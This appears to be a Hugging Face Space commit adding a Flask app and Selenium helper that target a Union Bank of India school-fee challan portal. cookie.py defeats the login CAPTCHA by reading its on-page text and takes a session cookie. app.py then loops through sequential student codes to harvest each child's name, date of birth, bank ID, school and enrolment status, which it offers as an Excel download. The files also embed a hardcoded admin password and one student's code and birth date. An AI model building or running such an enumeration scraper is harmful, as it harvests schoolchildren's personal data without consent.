Spaces:
Sleeping
Sleeping
Upload 3 files
Browse files- app.py +196 -0
- cookie.py +52 -0
- requirements.txt +4 -0
app.py
ADDED
@@ -0,0 +1,196 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from flask import Flask, render_template, redirect, url_for, request, session, send_file
|
2 |
+
from cookie import fetch_new_cookies
|
3 |
+
from bs4 import BeautifulSoup
|
4 |
+
import pandas as pd
|
5 |
+
import threading
|
6 |
+
import requests
|
7 |
+
import tempfile
|
8 |
+
import json
|
9 |
+
|
10 |
+
# Setup Flask app
|
11 |
+
app = Flask(__name__)
|
12 |
+
app.secret_key = 'the_data_of_KV'
|
13 |
+
|
14 |
+
# Global variable to store student data
|
15 |
+
student_data = []
|
16 |
+
url = "https://epay.unionbankofindia.co.in/kvchallan/welcome.aspx"
|
17 |
+
|
18 |
+
cookies = []
|
19 |
+
fetch_cookie = fetch_new_cookies()
|
20 |
+
if fetch_cookie:
|
21 |
+
cookies.append(fetch_cookie)
|
22 |
+
else:
|
23 |
+
print("Failed to fetch cookies.")
|
24 |
+
cookie = cookies[0] if cookies else None
|
25 |
+
|
26 |
+
headers = {
|
27 |
+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
28 |
+
'Accept-Language': 'en-US,en;q=0.9',
|
29 |
+
'Cache-Control': 'max-age=0',
|
30 |
+
'Connection': 'keep-alive',
|
31 |
+
'Content-Type': 'application/x-www-form-urlencoded',
|
32 |
+
'Cookie': f'ASP.NET_SessionId={cookie}',
|
33 |
+
'DNT': '1',
|
34 |
+
'Origin': 'https://epay.unionbankofindia.co.in',
|
35 |
+
'Referer': 'https://epay.unionbankofindia.co.in/kvchallan/default.aspx',
|
36 |
+
'Sec-Fetch-Dest': 'document',
|
37 |
+
'Sec-Fetch-Mode': 'navigate',
|
38 |
+
'Sec-Fetch-Site': 'same-origin',
|
39 |
+
'Upgrade-Insecure-Requests': '1',
|
40 |
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0',
|
41 |
+
'sec-ch-ua': '"Not)A;Brand";v="99", "Microsoft Edge";v="127", "Chromium";v="127"',
|
42 |
+
'sec-ch-ua-mobile': '?0',
|
43 |
+
'sec-ch-ua-platform': '"Windows"'
|
44 |
+
}
|
45 |
+
|
46 |
+
|
47 |
+
|
48 |
+
def main(payload):
|
49 |
+
student = payload.split('=')[1]
|
50 |
+
print(f"Checking for student code {student}...")
|
51 |
+
response = requests.post(url, headers=headers, data=payload)
|
52 |
+
data = response.text
|
53 |
+
|
54 |
+
if 'ctl00_ContentPlaceHolder1_lblName' in data:
|
55 |
+
name = data.split('ctl00_ContentPlaceHolder1_lblName">')[1].split('</span>')[0]
|
56 |
+
else:
|
57 |
+
return None
|
58 |
+
|
59 |
+
if name == '':
|
60 |
+
return None
|
61 |
+
else:
|
62 |
+
dob = data.split('ctl00_ContentPlaceHolder1_lblDOB">')[1].split('</span>')[0]
|
63 |
+
ubiId = data.split('ctl00_ContentPlaceHolder1_lblUnique">')[1].split('</span>')[0]
|
64 |
+
Class = data.split('ctl00_ContentPlaceHolder1_lblClass">')[1].split('</span>')[0]
|
65 |
+
school = data.split('ctl00_ContentPlaceHolder1_lblSchoolName">')[1].split('</span>')[0]
|
66 |
+
|
67 |
+
# Parsing HTML with BeautifulSoup to extract VIEWSTATE and other form data
|
68 |
+
soup = BeautifulSoup(data, 'html.parser')
|
69 |
+
viewstate = soup.find('input', {'id': '__VIEWSTATE'})['value']
|
70 |
+
eventvalidation = soup.find('input', {'id': '__EVENTVALIDATION'})['value']
|
71 |
+
|
72 |
+
# Prepare the payload for the POST request to simulate the button click
|
73 |
+
button_payload = {
|
74 |
+
'__VIEWSTATE': viewstate,
|
75 |
+
'__EVENTVALIDATION': eventvalidation,
|
76 |
+
'__EVENTTARGET': 'ctl00$ContentPlaceHolder1$lnkChallan',
|
77 |
+
'__EVENTARGUMENT': '',
|
78 |
+
'student_code': student
|
79 |
+
}
|
80 |
+
|
81 |
+
# Send the POST request to generate the challan
|
82 |
+
challan_response = requests.post(url, headers=headers, data=button_payload)
|
83 |
+
challan_data = challan_response.text
|
84 |
+
|
85 |
+
if challan_data.splitlines()[0].strip() == "<script>alert('Student is not active, can not generate challan!');</script>":
|
86 |
+
current_status = "No"
|
87 |
+
else:
|
88 |
+
current_status = "Yes"
|
89 |
+
|
90 |
+
json_entry = (
|
91 |
+
'\t{\n'
|
92 |
+
f' "name": "{name}",\n'
|
93 |
+
f' "dob": "{dob}",\n'
|
94 |
+
f' "ubiId": "{ubiId}",\n'
|
95 |
+
f' "class": "{Class}",\n'
|
96 |
+
f' "school": "{school}",\n'
|
97 |
+
f' "enrolled": "{current_status}"\n'
|
98 |
+
' }'
|
99 |
+
)
|
100 |
+
|
101 |
+
with open('data.json', 'w') as f:
|
102 |
+
json.dump(student_data, f, indent=4)
|
103 |
+
|
104 |
+
|
105 |
+
print(f"Name: {name}\nDOB: {dob}\nUBI ID: {ubiId}\nClass: {Class}\nSchool: {school}\nCurrently Enrolled: {current_status}\n")
|
106 |
+
return {
|
107 |
+
"name": name,
|
108 |
+
"dob": dob,
|
109 |
+
"ubiId": ubiId,
|
110 |
+
"class": Class,
|
111 |
+
"school": school,
|
112 |
+
"enrolled": current_status
|
113 |
+
}
|
114 |
+
|
115 |
+
# Background thread function
|
116 |
+
def background_worker():
|
117 |
+
payload = 'student_code=091438109008700' # Starting point
|
118 |
+
consecutive_failures = 0
|
119 |
+
year = int(payload.split('=')[1][7:9])
|
120 |
+
|
121 |
+
while True:
|
122 |
+
result = main(payload)
|
123 |
+
if result is None:
|
124 |
+
consecutive_failures += 1
|
125 |
+
else:
|
126 |
+
consecutive_failures = 0 # Reset on success
|
127 |
+
student_data.append(result)
|
128 |
+
|
129 |
+
if consecutive_failures == 100: # Increment year after 100 failures
|
130 |
+
consecutive_failures = 0
|
131 |
+
admission_number = int(payload.split('=')[1][-6:]) - 100
|
132 |
+
year += 1
|
133 |
+
payload = f'student_code=914381{year}{admission_number :06d}'
|
134 |
+
|
135 |
+
# Increment student_code
|
136 |
+
student_number = int(payload.split('=')[1])
|
137 |
+
payload = f'student_code={student_number + 1:015d}'
|
138 |
+
|
139 |
+
# Start the background worker thread
|
140 |
+
threading.Thread(target=background_worker, daemon=True).start()
|
141 |
+
|
142 |
+
@app.route('/')
|
143 |
+
def index():
|
144 |
+
if 'logged_in' in session and session['logged_in']:
|
145 |
+
return redirect(url_for('dashboard'))
|
146 |
+
return render_template('login.html')
|
147 |
+
|
148 |
+
@app.route('/login', methods=['POST'])
|
149 |
+
def login():
|
150 |
+
username = request.form['username']
|
151 |
+
password = request.form['password']
|
152 |
+
# Replace with actual authentication logic
|
153 |
+
if username == '[email protected]' and password == '3@0#&e#m2f':
|
154 |
+
session['logged_in'] = True
|
155 |
+
return redirect(url_for('dashboard'))
|
156 |
+
return 'Invalid credentials', 401
|
157 |
+
|
158 |
+
@app.route('/logout')
|
159 |
+
def logout():
|
160 |
+
session.pop('logged_in', None)
|
161 |
+
return redirect(url_for('index'))
|
162 |
+
|
163 |
+
@app.route('/dashboard')
|
164 |
+
def dashboard():
|
165 |
+
if 'logged_in' not in session or not session['logged_in']:
|
166 |
+
return redirect(url_for('index'))
|
167 |
+
return render_template('dashboard.html', data=student_data)
|
168 |
+
|
169 |
+
@app.route('/download')
|
170 |
+
def download():
|
171 |
+
if 'logged_in' not in session or not session['logged_in']:
|
172 |
+
return redirect(url_for('index'))
|
173 |
+
|
174 |
+
# Convert student data to a DataFrame
|
175 |
+
columns = ['Name', 'DOB', 'UBI ID', 'Class', 'School', 'Enrolled']
|
176 |
+
data = []
|
177 |
+
for student in student_data:
|
178 |
+
data.append([
|
179 |
+
student['name'],
|
180 |
+
student['dob'],
|
181 |
+
student['ubiId'],
|
182 |
+
student['class'],
|
183 |
+
student['school'],
|
184 |
+
student['enrolled']
|
185 |
+
])
|
186 |
+
df = pd.DataFrame(data, columns=columns)
|
187 |
+
|
188 |
+
# Save to a temporary Excel file
|
189 |
+
temp_dir = tempfile.gettempdir()
|
190 |
+
file_path = f"{temp_dir}/student_data.xlsx"
|
191 |
+
df.to_excel(file_path, index=False)
|
192 |
+
# Send the file to the user
|
193 |
+
return send_file(file_path, as_attachment=True, download_name='student_data.xlsx')
|
194 |
+
|
195 |
+
if __name__ == '__main__':
|
196 |
+
app.run(debug=True)
|
cookie.py
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from selenium import webdriver
|
2 |
+
from selenium.webdriver.chrome.options import Options
|
3 |
+
from selenium.webdriver.chrome.service import Service
|
4 |
+
from selenium.webdriver.common.by import By
|
5 |
+
from selenium.webdriver.support.ui import WebDriverWait
|
6 |
+
from selenium.webdriver.support import expected_conditions as EC
|
7 |
+
import chromedriver_autoinstaller # pip install chromedriver-autoinstaller selenium
|
8 |
+
import time
|
9 |
+
|
10 |
+
start_time = time.time()
|
11 |
+
# Auto-install matching ChromeDriver
|
12 |
+
chromedriver_autoinstaller.install()
|
13 |
+
|
14 |
+
def fetch_new_cookies():
|
15 |
+
# Headless Chrome options
|
16 |
+
chrome_options = Options()
|
17 |
+
chrome_options.add_argument("--headless=new")
|
18 |
+
|
19 |
+
# Launch browser
|
20 |
+
driver = webdriver.Chrome(options=chrome_options)
|
21 |
+
|
22 |
+
try:
|
23 |
+
# Go to page
|
24 |
+
driver.get("https://epay.unionbankofindia.co.in/kvchallan/default.aspx")
|
25 |
+
|
26 |
+
# Wait for CAPTCHA to load
|
27 |
+
wait = WebDriverWait(driver, 5)
|
28 |
+
captcha_text = wait.until(EC.presence_of_element_located((By.ID, "lblCaptcha"))).text
|
29 |
+
|
30 |
+
# Fill in the form
|
31 |
+
driver.find_element(By.ID, "txtStudent").send_keys("091438109008704")
|
32 |
+
driver.find_element(By.ID, "txtDateofBirth").send_keys("09/05/2002")
|
33 |
+
driver.find_element(By.ID, "txtCaptcha").send_keys(captcha_text)
|
34 |
+
|
35 |
+
# Click the image-style login button
|
36 |
+
driver.find_element(By.ID, "imgLogin").click()
|
37 |
+
|
38 |
+
# Extract ASP.NET_SessionId cookie
|
39 |
+
session_cookie = next((c for c in driver.get_cookies() if c['name'] == "ASP.NET_SessionId"), None)
|
40 |
+
|
41 |
+
if session_cookie:
|
42 |
+
# Print the cookie value
|
43 |
+
print("Session Cookie:", session_cookie['value'])
|
44 |
+
return session_cookie['value']
|
45 |
+
else:
|
46 |
+
return fetch_new_cookies()
|
47 |
+
except Exception as e:
|
48 |
+
print("Error occurred:", e)
|
49 |
+
return None
|
50 |
+
|
51 |
+
finally:
|
52 |
+
driver.quit()
|
requirements.txt
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
flask
|
2 |
+
pandas
|
3 |
+
chromedriver-autoinstaller
|
4 |
+
selenium
|